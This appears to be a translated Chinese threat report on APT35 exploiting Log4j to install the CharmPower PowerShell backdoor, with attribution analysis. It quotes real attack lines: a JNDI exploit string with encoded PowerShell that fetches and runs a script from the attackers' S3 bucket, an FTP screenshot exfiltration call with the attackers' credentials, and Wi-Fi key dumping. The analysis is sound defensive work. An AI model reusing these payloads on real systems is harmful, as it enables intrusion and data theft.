APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

隨著Log4j安全漏洞的出現,研究人員已經看到多個攻擊者(主要是出於經濟動機)立即將其新增到他們的武器庫中。毫不奇怪,一些由國家支援的攻擊者也將這個新漏洞視為在潛在目標,在受影響系統修復這個漏洞之前尋找發動攻擊的機會。

APT35(又名 Charming Kitten、TA453 或 Phosphorus)被懷疑是由伊朗國家支援的駭客組織,在漏洞被披露後僅僅四天,就開始在公開系統中廣泛掃描並試圖利用Log4j漏洞。攻擊者的攻擊設定顯然是倉促的,因為他們使用了基本的開源工具進行攻擊,並基於之前的基礎設施進行操作,這使得攻擊更容易被檢測和識別。

研究人員會在本文中詳細介紹APT35利用Log4j漏洞進行最新攻擊的細節,並分析了它們被利用後的活動,包括新的基於powershell的模組化框架CharmPower,該框架用於建立永續性、收集資訊和執行命令。

感染鏈

為了利用Log4j漏洞(CVE-2021-44228),攻擊者選擇了一個公開可用的開源JNDI 漏洞利用工具包,由於該漏洞出現後,該工具包非常受歡迎,因此已從GitHub中刪除。有多篇分析論文解釋了該漏洞如何被利用,因此研究人員將跳過實際利用步驟的細節。

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

感染鏈

為了利用易受攻擊的裝置,攻擊者向受害者的公開資源傳送精心製作的請求。在這種情況下,負載是在 User-Agent 或 HTTP Authorization 標頭中傳送的:

${jndi[:]ldap[://]144[。]217[。]139[。]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBOUFFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJ1QUdVQWRBQXVBSGNBWlFCaUFHTUFiQUJwQUdVQWJnQjBBQTBBQ2dBa0FGUUFaUUI0QUhRQUlBQTlBQ0FBSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBdUFHUUFid0IzQUc0QWJBQnZBR0VBWkFCVEFIUUFjZ0JwQUc0QVp3QW9BQ0lBYUFCMEFIUUFjQUJ6QURvQUx3QXZBSE1BTXdBdUFHRUFiUUJoQUhvQWJ3QnVBR0VBZHdCekFDNEFZd0J2QUcwQUx3QmtBRzhBWXdCc0FHa0FZZ0J5QUdFQWNnQjVBSE1BWVFCc0FHVUFjd0F2QUhRQVpRQnpBSFFBTGdCMEFIZ0FkQUFpQUNrQURRQUtBSEFBYndCM0FHVUFjZ0J6QUdnQVpRQnNBR3dBSUFBdEFHVUFZd0FnQUNRQVZBQmxBSGdBZEFBPQ==}

成功利用後,利用伺服器構建並返回一個惡意 Java 類以在易受攻擊的裝置上執行。這個類使用base64編碼的有效負載執行一個PowerShell命令:

ExploitQVQRSQrKet。cmd = “powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0ACgAkAFQAZQB4AHQAIAA9ACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBkAG8AYwBsAGkAYgByAGEAcgB5AHMAYQBsAGUAcwAvAHQAZQBzAHQALgB0AHgAdAAiACkADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAYwAgACQAVABlAHgAdAA=”;

它最終從 Amazon S3 儲存桶 URL hxxps://s3[。]amazonaws[。]com/doclibrarysales/test[。]txt 下載 PowerShell 模組,然後執行它:

$WebClient=New-Object net。webclient$Text = $WebClient。downloadString(“< >”)powershell -ec $Text

CharmPower:基於 PowerShell 的模組化後門

下載的 PowerShell 有效負載是主要模組,負責與 C&C 伺服器的基本通訊以及接收的附加模組的執行。主要模組執行以下操作:

驗證網路連線:執行後,指令碼透過使用引數 hi=hi 向 google。com 發出 HTTP POST 請求來等待活動的網際網路連線。

基本系統列舉:該指令碼收集 Windows 作業系統版本、計算機名稱以及 $APPDATA 路徑中的檔案 Ni。txt 的內容,該檔案可能由主模組下載的不同模組建立和填充。

檢索 C&C 域:惡意軟體解碼從硬編碼 URL hxxps://s3[。]amazonaws[。]com/doclibrarysales/3 檢索到的 C&C 域,該 URL 位於下載後門的相同S3 儲存桶中。

接收、解密和執行後續模組。

收集完所有的資料後,惡意軟體開始與C&C伺服器通訊,定期傳送HTTP POST請求到接收域上的以下URL:

< C&C domain >/Api/Session。

每個請求包含以下POST資料:

Session=“[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\Ni。txt]”

C&C 伺服器可以透過以下兩種方式進行響應:

NoComm:無命令,這會導致指令碼繼續傳送 POST 請求。

Base64 字串:要執行的模組。該模組使用簡單的替換密碼進行加密,並以 base64 編碼。

以下是解碼例程的片段:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

下載的模組要麼是PowerShell指令碼,要麼是c#程式碼。每個解碼的模組有以下格式:language~code~modulename~action,其中的行為可以是stop、start或downloadutil。後者僅與PowerShell模組相關。

以下程式碼片段處理模組解析並根據模組的語言執行相關的執行方法:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

主模組還可以更改通訊通道:每 360 次進行一次C&C 迴圈,它可以從攻擊者的身上 S3 儲存桶中檢索出一個新域:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

C&C 傳送的模組由主模組執行,每個模組分別向伺服器上報資料。這個 C&C 迴圈無限期地持續下去,這使得攻擊者可以在受感染的裝置上收集資料,執行任意命令,並可能透過執行橫向移動或執行後續惡意軟體(如勒索軟體)來升級他們的行動。

模組

每個模組都是由攻擊者根據主模組傳送的資料自動生成的:每個模組都包含一個硬編碼的裝置名和一個硬編碼的C&C域。

研究人員觀察到的所有模組都包含以下共享程式碼:

加密資料;

透過POST請求或上傳到FTP伺服器來過濾收集到的資料;

向遠端伺服器傳送執行日誌;

除此之外,每個模組都執行一些特定的工作。研究人員想方設法檢索和分析了下一個模組:

列出已安裝的應用程式;

截圖;

列出正在執行的程序;

獲取作業系統和計算機資訊;

從 C&C 執行預定義的命令;

清理由不同模組建立的任何痕跡;

應用模組。

這個模組使用兩種方法來獲取已安裝的應用程式。首先是列舉解除安裝註冊標誌:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

第二種方法是使用wmic命令:

cmd。exe /c “wmic product get name, InstallLocation, InstallDate, Version /format:csv > $FilePath”

截圖模組

研究人員觀察到這個模組的c#和PowerShell變體,每個變體都有能力以指定的頻率捕獲多個截圖,並將結果的截圖上傳到FTP伺服器,並在指令碼中硬編碼憑據:

SendByFTP(“ftp://” + “54。38。49。6” + “:21/” + “VICTIM-PC__” + “/screen/” + Name + “。jpg”, “lesnar”, “[email protected]#”, FilePath);

c#指令碼使用base64編碼的PowerShell命令從多個螢幕上截圖:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

流程模組

這個模組嘗試使用tasklist命令獲取正在執行的程序:

cmd。exe /c “tasklist /v /FO csv > $FilePath”

系統資訊模組

這個模組包含一組PowerShell命令,奇怪的是,這些命令被註釋掉了。系統只執行systeminfo命令。

#$Path = systeminfo#$Hosts=$Path|Select-String “Host Name:”#$OSName=$Path|Select-String “OS Name:”#$RegisteredOwner=$Path|Select-String “Registered Owner:”#$SystemBootTime=$Path|Select-String “System Boot Time:”#$SystemModel=$Path|Select-String “System Model:”#$SystemType=$Path|Select-String “System Type:”#$SystemDirectory=$Path|Select-String “System Directory:”#$TimeZone=$Path|Select-String “Time Zone:”#$infos=$Hosts。ToString()+“`r`n”+$OSName。ToString()+“`r`n”+$RegisteredOwner。ToString()+“`r`n”+$SystemBootTime。ToString()+“`r`n”+$SystemModel。ToString()+“`r`n”+$SystemType。ToString()+“`r`n”+$SystemDirectory。ToString()+“`r`n”+$TimeZone。ToString()#$infos | Out-File -FilePath $FilePath#Get-Date -Format “yyyy/dd/MM HH:mm” | Out-File -FilePath $FilePath -append#ipconfig /all | findstr /C:“IPv4” /C:“Physical Address” >> $FilePathsysteminfo | Out-File -FilePath $FilePath -append -Encoding UTF8

從註釋掉的命令中,研究人員可以瞭解攻擊者如何組織系統資訊、他們感興趣的資料以及傳送更多模組時可能考慮的內容。

命令執行模組

攻擊者可以透過使用預定義的操作執行這個專用模組來執行遠端命令,這個模組嘗試執行一個命令。它對基於 PowerShell 的模組使用 PowerShell Invoke-Expression 方法,而其 C# 實現同時具有 cmd 和 PowerShell 選項。

在分析過程中,研究人員觀察了攻擊者如何建立和傳送下一個命令執行模組:

使用cd C:/; ls列出 C:/ drive內容;

使用 netsh wlan show profiles name=‘< Name >’ key=clear;

使用Get-PSDrive列出驅動器。

清理模組

該模組將在攻擊者完成他們的活動並想從系統中刪除任何痕跡後被刪除,該模組包含清理登錄檔和啟動資料夾中與永續性相關的工件、建立的檔案和執行的程序的方法。

該模組包含五個硬編碼級別,具體取決於攻擊階段,每個級別都有不同的用途。執行級別由攻擊者在每種特定情況下預先確定:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

CleanupModules函式試圖阻止所有與之前執行的模組相關的正在執行的程序:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

模組中的另一個函式試圖刪除攻擊者可能使用的其他指示符:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

從研究人員對該模組的檢查來看,很明顯,攻擊者希望在他們認為有必要的情況下將感染保留在裝置上,並且一旦達到他們的目標,就能夠消失得無影無蹤。

歸因

通常,APT攻擊者會確保更改他們的工具和基礎設施,以避免被發現,並使歸因變得更加困難。然而,APT35不符合這種行為。該組織在網路安全界因其在之前的行動中犯下的OpSec錯誤而聞名,而且一旦暴露,他們往往不會花太多精力去改變他們的基礎設施。毫無疑問,這裡描述的它們的操作在程式碼和基礎設施上與以前的APT35活動有很大的重疊。

程式碼重疊

2021年10月,谷歌威脅分析集團發表了一篇關於APT35移動惡意軟體的 文章 。儘管研究人員分析的樣本是PowerShell指令碼,但它們與谷歌歸因於APT35的Android間諜軟體之間的編碼風格相似,立即吸引了研究人員的注意。

首先,日誌功能的實現是相同的。Android 應用使用以下格式將其操作記錄到 C&C 伺服器:MAC=< DEVICE_NAME >&Log=< LOG >&ModuleName=< MODULE_NAME >&Status=< STATUS >

public static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException, UnsupportedEncodingException {if (haveNetworkConnection()) {Send_Data_By_Http(Constants。Server_TargetLog, ((((((“MAC=” + str) + “&Log=”) + str2) + “&ModuleName=”) + str3) + “&Status=”) + str4);}}

PowerShell 模組也包含相同的日誌記錄格式,即使命令被註釋掉並替換為另一種格式。這些行沒有被徹底刪除的事實可能表明該更改是最近才完成的。

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

日誌訊息的語法也是相同的。以下是Android應用程式程式碼:

Functions。post_log(Functions。MAC, “Successfully Finish Monitor Permissions module。”, “Monitor Permissions”, “Success”, Constants。Domain);

下面是指令碼中的日誌程式碼示例:

SendLog(“VICTIM-PC__”, “Successfully Finish Screen module。”, “Screen”, “Success”, TargetLog);移動版和 PowerShell 版在 C&C 通訊中使用相同的唯一引數 Stack=Overflow:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

在歸因於 APT35 的移動惡意軟體中使用 Stack=Overflow 引數

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

在PowerShell版本中使用Stack=Overflow引數

基礎設施重疊

根據研究人員對APT35 Android惡意軟體的分析,移動樣本的C&C伺服器有以下API端點:

/Api/Session /Api/GetPublicIp /Api/AndroidTargetLog /Api/AndroidDownload /Api/AndroidBigDownload /Api/AndroidHttpModuleData /Api/HttpModuleDataAppend /Api/IsRunAudioRecorder /Api/IsRunClipboard /Api/IsRunGPS

根據研究人員能夠檢索到的模組,PowerShell惡意軟體的C&C有以下API端點:

/Api/Session /Api/TargetLogEnc /Api/BigDownloadEnc

移動和PowerShell變體的C&C伺服器共享API端點/ API /Session。由於功能和平臺的不同,其他API端點是相似的,但並不完全相同。

更有趣的是,額外的測試表明,不僅 URL 相似,而且 PowerShell 變體的 C&C 域實際上響應了移動變體中使用的 API 請求。

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

PowerShell示例中的C&C響應/Api/GetPublicIp Api請求

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

PowerShell變體C&C對/Api/IsRunAudioRecorder Api端點的響應

其餘 API 端點以 405 HTTP 錯誤響應,這與不存在的 URL 的響應不同(/Api/RANDOM_STRING 始終以 404 HTTP 錯誤響應)。

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

PowerShell 變體 C&C 對 /Api/AndroidBigDownload API 端點的響應

研究人員的結論是,PowerShell 變體的 C&C 支援與移動變體相同的 C&C 通訊協議。兩臺 C&C 伺服器都執行類似的伺服器端程式碼,並且可能由同一個攻擊者操作。

研究人員分析了這次攻擊的基礎設施並進行了一些觀察,結論如下:

研究人員在本次攻擊活動中觀察到的所有伺服器都是由OVH SAS和Hetzner Online GmbH託管的。這不是 APT35 第一次使用這些託管服務提供商,並且結合 C&C 域共享的特定模式 (0< word >< letter >< word >0。xyz),它為進一步尋找提供了一些線索。

當研究人員調查基礎架構時,他們發現其中一臺 C&C 伺服器使用使用 127。0。0。1 作為 C&C 伺服器的模組進行響應。這可能是一個開發伺服器,因為研究人員沒有在已知的感染鏈中看到它。模組程式碼中的錯誤數量也表明基於 PowerShell 的惡意軟體仍在積極開發中。

C&C 伺服器響應模組所需的時間以及它響應的模組型別在受害者之間存在顯著差異。這可能是 C&C 手動操作的證據,由操作員決定哪些目標感興趣,哪些不感興趣。

更多的利用嘗試

以 APT35 為名跟蹤的多項活動包括範圍、目標和方法差異很大的操作。有一些操作嚴重依賴先進的魚叉式網路釣魚技術進行監控。另一方面,去年,研究人員看到有證據表明這些攻擊者也進入了勒索軟體領域。在所描述的攻擊開始後的第二天,APT35 的一個組織又發起了另一場大規模的活動,專門針對以色列網路。這一次,他們沒有使用開源的 Log4j 漏洞利用伺服器,而是自己實現了漏洞利用,但重用了之前公開的專門用於勒索軟體操作的基礎設施。

惡意 Java 類的部分程式碼,所有指標與 Microsoft & The DFIR Report 的分析一致,表明攻擊者抓住機會將 Windows 和 Linux 的多個攻擊階段組合成一個漏洞:

APT35 利用 Log4j 漏洞傳播新的模組化 PowerShell 工具包

總結

Log4j漏洞的簡單性和大量易受攻擊的裝置的結合,使其成為一個非常吸引人的漏洞,例如APT35。

在這些攻擊中,攻擊者仍然使用與之前許多攻擊相同或類似的基礎設施。然而,從他們利用Log4j漏洞的能力和CharmPower後門的程式碼片段來看,攻擊者能夠迅速改變策略,並積極地為攻擊的每個階段開發不同的實現。

原文連結:https://www。tuicool。com/articles/IvEreyR